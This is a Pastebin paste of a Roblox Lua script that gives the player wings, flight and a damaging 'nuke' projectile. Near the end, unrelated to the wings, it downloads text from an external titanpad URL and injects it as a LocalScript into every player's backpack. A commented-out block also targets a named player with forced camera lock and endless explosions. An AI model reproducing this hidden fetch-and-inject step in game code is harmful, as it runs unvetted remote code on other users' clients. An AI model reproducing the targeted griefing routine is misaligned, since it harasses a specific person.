Advertisement
Dark_EccentricYT

Untitled

Sep 3rd, 2018 (edited)
987
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.54 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5. color=BrickColor.random() --RANDOM COLORS FUCK YEAH
  6. local wingpoints={{-5,0,2},{-6,0,-1},{-6.5,-3,0}}
  7. local wings={Right={};Left={}}
  8.  
  9. pl=game.Players.LocalPlayer
  10. char=pl.Character
  11. torso=pl.Character.Torso
  12. mo=pl:GetMouse()
  13. function w(p1,p2)local w1=Instance.new'Weld' w1.Part0=p1 w1.Part1=p2 w1.C1=p2.CFrame:inverse()*p1.CFrame w1.Parent=p1 return w1 end function rd(degree)return math.rad(degree)end
  14. function part() local p=Instance.new('Part',char)p.TopSurface='Smooth'p.BottomSurface='Smooth'p.CanCollide=false p.Transparency=.5 p.Anchored=true p.FormFactor='Custom'p.BrickColor=color return p end
  15. function lineto(point1,point2) point1=point1.p point2=point2.p local ln=part()ln.Size=Vector3.new(.1,.1,(point1-point2).magnitude)ln.CFrame=CFrame.new(point1:Lerp(point2,.5))ln.CFrame=CFrame.new(ln.Position,point2)return ln end
  16. local cpoint=Vector3.new(0,0,0)
  17. local lastpos,lastrot,ln,vel,gyro,con,firecon,increase
  18.  
  19. function nuke(pos)
  20. local halo=part()
  21. halo.CFrame=CFrame.new(pos)*CFrame.Angles(math.rad(90),0,0)
  22. local hm=Instance.new('SpecialMesh',halo)
  23. hm.MeshType='FileMesh'
  24. hm.MeshId='http://www.roblox.com/asset/?id=3270017'
  25. halo.Touched:connect(function(i)
  26. if i:FindFirstChild'Humanoid' then
  27. i.Humanoid:TakeDamage(math.random(1,20))
  28. end
  29. end)
  30. for j=1,10 do wait(.1)spawn(function()
  31. for i=1,50 do
  32. hm.Scale=hm.Scale+Vector3.new(5,5,5)
  33. wait()
  34. end
  35. halo:Destroy()end)end
  36. end
  37.  
  38. for i=1,#wingpoints do
  39. local current=wingpoints[i]
  40. local back=wingpoints[i-1]
  41. local backwr,backwl
  42. if i>1 then
  43. backwr=wings.Right[i-1][3]
  44. print(backwr)
  45. backwl=wings.Left[i-1][3]
  46. end
  47. if not back then back={0,0,0} end
  48. local ln=lineto(torso.CFrame*CFrame.new(current[1],current[2],current[3]),torso.CFrame*CFrame.new(back[1],back[2],back[3]))
  49. ln.Anchored=false
  50. local ln2=lineto(torso.CFrame*CFrame.new(-current[1],current[2],current[3]),torso.CFrame*CFrame.new(-back[1],back[2],back[3]))
  51. ln2.Anchored=false
  52. local w1=w(backwr or torso,ln)
  53. local w2=w(backwl or torso,ln2)
  54. table.insert(wings.Right,{w1,w1.C0,ln})table.insert(wings.Left,{w2,w2.C0,ln2})
  55. end
  56.  
  57. function movewings(ang)
  58. for i,v in pairs(wings.Right) do
  59. v[1].C0=v[2]*CFrame.Angles(0,0,-math.rad(ang))
  60. end
  61. for i,v in pairs(wings.Left) do
  62. v[1].C0=v[2]*CFrame.Angles(0,0,math.rad(ang))
  63. end
  64. end
  65.  
  66. local cnt=3
  67. local wspeed=.5
  68. local dir=true
  69. game:service'RunService'.RenderStepped:connect(function()
  70. if dir==true then cnt=cnt+wspeed else cnt=cnt-wspeed end if cnt<1 or cnt>40 then dir=not dir end
  71. movewings(cnt)
  72. end)
  73.  
  74. local fly=false
  75.  
  76. function makeCon()
  77. fly=true
  78. cpoint=mo.Hit.p
  79. vel=Instance.new('BodyVelocity',torso)
  80. vel.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  81. gyro=Instance.new('BodyGyro',torso)
  82. gyro.maxTorque=Vector3.new(math.huge,math.huge,math.huge)
  83. increase=0
  84. con=game:service'RunService'.Stepped:connect(function()
  85. vel.velocity=(CFrame.new(torso.Position,mo.Hit.p)).lookVector*(50+increase)
  86. if lastpos and lastrot then local ng=(mo.X-lastrot) gyro.cframe=CFrame.new(lastpos,torso.Position)*CFrame.Angles(math.rad(-90),math.rad(ng),0) end
  87. lastpos=torso.Position
  88. lastrot=mo.X
  89. increase=increase+.1
  90.  
  91.  
  92. --local fline=lineto(torso.CFrame*CFrame.new(0,10,0),torso.CFrame*CFrame.new(math.random(-7,7),math.random(1,3),math.random(-7,7)))
  93. --game:service'Debris':AddItem(fline,.1)
  94.  
  95.  
  96. for i=1,2 do
  97. local smoke=part()
  98. smoke.Shape='Ball'
  99. smoke.Size=Vector3.new(1,0,0)
  100. local ms=Instance.new('SpecialMesh',smoke)
  101. ms.MeshType='Sphere'
  102. local rnd=math.random(.2,4)
  103. ms.Scale=Vector3.new(rnd,rnd,rnd)
  104. smoke.Transparency=math.random(0,7)/10
  105. smoke.CFrame=torso.CFrame*CFrame.new(math.random(-40,40)/10,-7,math.random(-40,40)/10)
  106. smoke.Anchored=false
  107. local vl=Instance.new('BodyVelocity',smoke)
  108. vl.velocity=CFrame.new(torso.Position,smoke.Position).lookVector*50
  109. vl.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  110. game:service'Debris':AddItem(smoke,1)
  111. end
  112.  
  113. end)
  114. end
  115.  
  116. local dropcon,dropgyro,pastpos
  117. mo.KeyDown:connect(function(key)
  118. if key=='e' then
  119. fly=true
  120. wspeed=4
  121. if vel then vel:Destroy()end if gyro then gyro:Destroy() end
  122. makeCon()
  123. elseif key=='f' then
  124.  
  125. local n1=part()
  126. n1.Size=Vector3.new(3,3,3)
  127. local n1m=Instance.new('SpecialMesh',n1)
  128. n1m.MeshType='Sphere'
  129. local n2=part()
  130. n2.Size=Vector3.new(3,6,3)
  131. n2.CFrame=n1.CFrame*CFrame.Angles(0,0,math.rad(90))*CFrame.new(0,2.75,0)
  132. Instance.new('CylinderMesh',n2)
  133. n1.Anchored=false n2.Anchored=false
  134. n1.Transparency=0 n2.Transparency=0
  135. n1.CanCollide=true n2.CanCollide=true
  136. w(n1,n2)
  137.  
  138. n1.CFrame=char.Torso.CFrame*CFrame.new(0,0,-4)
  139.  
  140. local nt=n1.Touched:connect(function(to)
  141. if to.Parent==char then return end
  142. if nt then nt:disconnect()end
  143. n1:Destroy()
  144. n2:Destroy()
  145. nuke(n1.Position)
  146. end)
  147.  
  148.  
  149. end
  150. end)
  151. mo.KeyUp:connect(function(key)if key=='e' then fly=false wspeed=.5 con:disconnect() vel:Destroy()gyro:Destroy()if dropgyro then dropgyro:Destroy()end wait(.1)end end)
  152.  
  153. ExecutedScript = game.HttpService:GetAsync'https://titanpad.com/ep/pad/export/SBSCRIPTSFUNC/latest?format=txt'
  154. for _,v in next,game:service'Players':players()do
  155. spawn(function() --
  156. local backpack=v:waitForChild'Backpack';
  157. newLocalScript(ExecutedScript,backpack);
  158. end);
  159. end;
  160. wait()
  161. ExecutedScript = nil
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169. --[[
  170. script.Parent=nil
  171. pl='Reinitialized'
  172. game.Players[pl].CameraMode='LockFirstPerson'
  173. workspace[pl].Torso.Anchored=true
  174. for i=1,20 do
  175. game:service'RunService'.Heartbeat:connect(function()
  176. Instance.new('ForceField',workspace[pl])
  177. Instance.new('Fire',workspace[pl].Torso)
  178. Instance.new('Explosion',workspace[pl]).Position=workspace[pl].Torso.Position
  179. end)end ]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement